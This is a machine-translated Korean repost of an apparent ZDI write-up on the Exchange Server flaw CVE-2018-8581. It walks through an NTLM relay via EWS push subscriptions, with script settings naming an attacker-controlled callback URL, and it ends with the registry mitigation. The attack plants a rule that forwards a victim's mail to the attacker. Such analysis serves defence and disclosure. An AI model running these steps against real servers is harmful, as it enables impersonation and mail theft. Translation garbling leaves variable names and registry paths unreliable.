제목 : Exchange에서 사용자 모방-Exchange Server 권한 상승 취약성 분석 (CVE-2018-8581)

0x00 前言​

2018 년 상위 5 개 흥미로운 사례 시리즈의 세 번째 사례입니다. 이러한 취약점에는 올해 발표 된 약 1,400 개의 보고서와 차별화되는 몇 가지 요인이 있습니다. 오늘 우리는 인증 된 사용자가 Exchange Server에서 다른 사용자를 가장 할 수있는 Exchange 취약성을 분석합니다.
ZDI의 Dustin Childs의 12 월 포스트에서 그는 Exchange 서버의 사용자가 해당 Exchange 서버의 모든 사람을 가장 할 수있는 Exchange 취약점을 언급했습니다. 이 취약점은 일부 인트라넷 납치에 사용될 수 있지만 피싱 활동, 데이터를 훔치거나 다른 악성 코드 작업에 사용될 가능성이 높습니다. 2018 Top 5 흥미로운 사례 시리즈의 일환 으로이 기사는이 SSRF (Server-Side Request) 취약점의 세부 사항을 탐구하고 도입 프로세스가 어떻게 구현되는지 보여줍니다.

0x01 漏洞分析​

이 취약점은 SSRF 취약성과 기타 취약점의 조합으로 인해 발생합니다. Exchange를 사용하면 모든 사용자가 푸시 구독에 필요한 URL을 지정할 수 있으며 서버는이 URL에 알림을 보내려고합니다. 문제는 Exchange Server가 CredentialCache.DefaultCredentials를 사용하여 연결한다는 것입니다.
paxbxtrucug16545.png

교환 웹 서비스에서 CredentialCache.DefaultCredentials는 NT AuthoritySystem에서 실행됩니다. 이로 인해 Exchange Server는 NTLM 해시를 공격자의 서버로 보냅니다. Exchange 서버는 또한 기본적으로 다음 레지스트리 키를 설정합니다.
이를 통해 HTTP 인증 에이 NTLM 해시를 사용할 수 있습니다. 예를 들어,이 해시는 EWS (Exchange Web Services)에 액세스하는 데 사용될 수 있습니다. NT AuthoritySystem 수준에서 실행되므로 공격자는 "권한이있는"Tokenserialization right 세션을 얻은 다음 SOAP 요청 헤더를 사용하여 모든 사용자를 가장합니다.
아래는 SIBS-1-5-21-4187549019-236330540-1546371449-500을 사용하여 관리자를 가장합니다.
srmbneu1yfp16546.png

0x02 漏洞利用​

데모를 위해서는 여러 파이썬 스크립트를 사용합니다.
Serverhttp_relayntlm.py - 인바운드 연결 및 EWS 인증을 통해 NTLM 해시를 얻습니다.
exch_ews_pushsubscribe.py - 푸시 서브 스크립트 EWS를 유발하여 serverhttp_relayntlm.py를 호출합니다
이 스크립트를 여기에서 다운로드 할 수 있습니다. Python-NTLM 모듈도 필요합니다.
취약점의 첫 번째 단계는 우리가 가장하려는 사용자의 SID를 얻는 것입니다. 사용하는 한 가지 가능한 방법은 다음과 같습니다.
1. 공인 사용자로서 OWA에 로그인하십시오. 여기서 우리는 "공격자"로 로그인합니다.
fcamgfricio16547.png

2. 다음으로 새 폴더를 만듭니다. 이 예에서는 Temfold를 사용합니다. 컨텍스트에서 "권한 ."옵션을 클릭하십시오.
s241fy10ej516548.png

3. 여기, 가장하려는 사람의 이메일을 추가하십시오. 우리의 목표는 피해자 희생자입니다 .Contoso.local :
rw0gsiqkooa16549.png

4. 이제 F12 키를 누르고 네트워크 옵션을 선택해야합니다. 그런 다음 새 폴더에서 컨텍스트에서 "권한 ."옵션을 다시 선택하십시오.
4l2angpnica16550.png

5. 첫 번째 service.svc? action=getfolder 요청의 응답을 확인해야합니다. 방법보기 :
Body-ResponseMessages-items-0-Folders-0-permissionset-permissions-n-userid-sid
이 예에서 N은 2 (최신)이지만 올바른 것을 찾기 위해 모든 것을 확인할 수 있습니다. PrimarySmtPaddress는 이상적인 희생자 여야합니다. 응답에 권한 세트 항목이 포함되어 있지 않으면 다른 service.svc? action=getfolder request를 확인해야합니다.
4fmffk5dbe316551.png

6. 우리는이 SID를 Serverhttp_relayntlm.py에서 사용하여 피해자를 가장합니다. 또한 Exchange 서버에서 외부 연결을 허용하는 공격자 제어 컴퓨터에서 차단되지 않을 TCP 포트를 선택해야합니다. 예를 들어, TCP 포트 8080을 사용할 수 있습니다. 이제 실제 정보를 사용하여 Serverhttp_relayntlm.py의 다음 줄을 변경해 봅시다.
#HTTP 서버의 포트
#exch_ews_pushsubscribe.py의 evil_httpserver_url과 동일해야합니다
httpport=8080
#유효한 IP/주소, 포트 및 프로토콜 ( 'http'또는 'https')으로 다음 값을 EWS로 바꿔야합니다.
대상 _ip='exch2016.contoso.local'
Target_port=443
프로토='https'
#proto='http'
#EWS에 대한
url='/ews/exchange.asmx'
#SMTP 공격자 사서함의 주소 (피해자에게 전송 된 모든 이메일을 받게됩니다)
공격자='공격자@contoso.local'
rickim_sid='S-1-5-21-4187549019-2363330540-1546371449-2604'
i2yk02s0gdi16552.png

스크립트에 올바른 변수가 있으면 시작할 수 있습니다.
23llt4wd3sc16553.png

7. 다음 단계는 exch_ews_pushsubscribe.py 스크립트에서 적절한 변수를 설정하는 것입니다.
#유효한 IP/주소, 포트 및 프로토콜로 다음 값을 바꿔야합니다 ( 'http'또는 'https')
ip='exch2016.contoso.local'
tcp_port=443
#proto='http'
프로토='https'
#공격자의 상용
사용자='공격자'
도메인='contoso.local'
pass='p@ssw0rd'
url='/ews/exchange.asmx'
피해자의 사칭을 위해 NTLM 해시를 사용할 HTTP 서버의 #URL
Evil_httpserver_url='http://192.168.50.17:8080/test'
ee45jyisqos16554.png

완료되면 다음 스크립트를 실행할 수 있습니다.
3olgazgm3pd16555.png

8. 마지막 단계. 이벤트 트리거 푸시 알림이 필요합니다. 잠시 기다릴 수 있거나 새 이메일 작성 및 보내거나 새 파일 삭제와 같은 일을 할 수 있다면
3gv15v2bpox16556.png

성공하면 Exchange 서버에서 Serverhttp_relayntlm.py로의 인바운드 연결을 받아야합니다.
공격이 성공하면 마지막 응답에서 updateInboxRulesReponsEresponsEclass="Success"가 표시됩니다. 즉, 인바운드 규칙이 피해자의 사서함에 추가되었으며 모든 인바운드 이메일이 공격자에게 전달됩니다.
이제 모든 것이 준비되었으므로 이제 테스트 할 시간입니다. 우리는 어떤 계정에서나 피해자에게 이메일을 보내야하지만, 새로운 규칙의 대상과 동일하지는 않습니다 (이 경우 [email protected]). 소스와 대상이 동일한 주소 인 경우 규칙이 이메일을 전달하지 않기 때문입니다. 관리자로 로그인하여 피해자에게 "민감한"정보를 보내겠습니다.
v4paycy3ulj16557.png

공격자의받은 편지함을 확인하면 메시지가 성공적으로 전달되는지 확인합니다.
nwgeddem5b016558.png

볼 수 있듯이 새로운 이메일이 공격자에게 전달됩니다. AddDelegate 또는 대상 폴더에 편집 권한을 할당하는 것과 같은 다른 EWS API를 통해 유사한 결과를 얻을 수 있습니다.

0x03 补丁​

Microsoft는 취약성을 CVE-2018-8581에 할당하고 11 월에 출시 될 때 완화 조치를 취했습니다. 실제로이 취약점은 아직 패치되지 않았습니다. 대신 Microsoft는 레지스트리 키를 삭제해야한다고 강조합니다. 루프백 점검을 활성화하려면이 키를 삭제하십시오. 위를 상기하면 Exchange 서버에는 기본적으로 다음과 같은 레지스트리 키가 설정되어 있습니다.
HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSTOCTROLLSADISABLEOPBACKCHECK=1
HKEY_LOCAL_MACHINESYSTEMCURRENTCORNTROLTONTROLLSADISABLELOOPBACKCHECK 키가 삭제되면 취약점이 불가능합니다. 레지스트리 키를 삭제하려면 CMD 창에 다음 명령을 입력하십시오.
키를 삭제 한 후 서버를 다시 시작하거나 교환 할 필요가 없습니다. 이 발표는 향후 교환 업데이트가 더 이상 기본적으로 레지스트리 키를 가능하게하지 않을 것이라고 밝혔다.

0x04 总结​

전자 메일은 비즈니스 수명의 핵심 구성 요소가되었으며 Exchange Server는 수년 동안 뜨거운 목표였습니다. 이 취약점은 사용자를 가장 할 수 있으며 이전에보고 된 취약점을 통해 임의의 코드 실행을 허용합니다. 이 두 상황 모두 때때로 가장 큰 보안 위험이 내부에서 나옵니다. 이러한 취약점은 또한 외부 공격자가 단일 진입 지점에서 기업에 어떻게 퍼질 수 있는지 보여줍니다.
 
뒤로
상단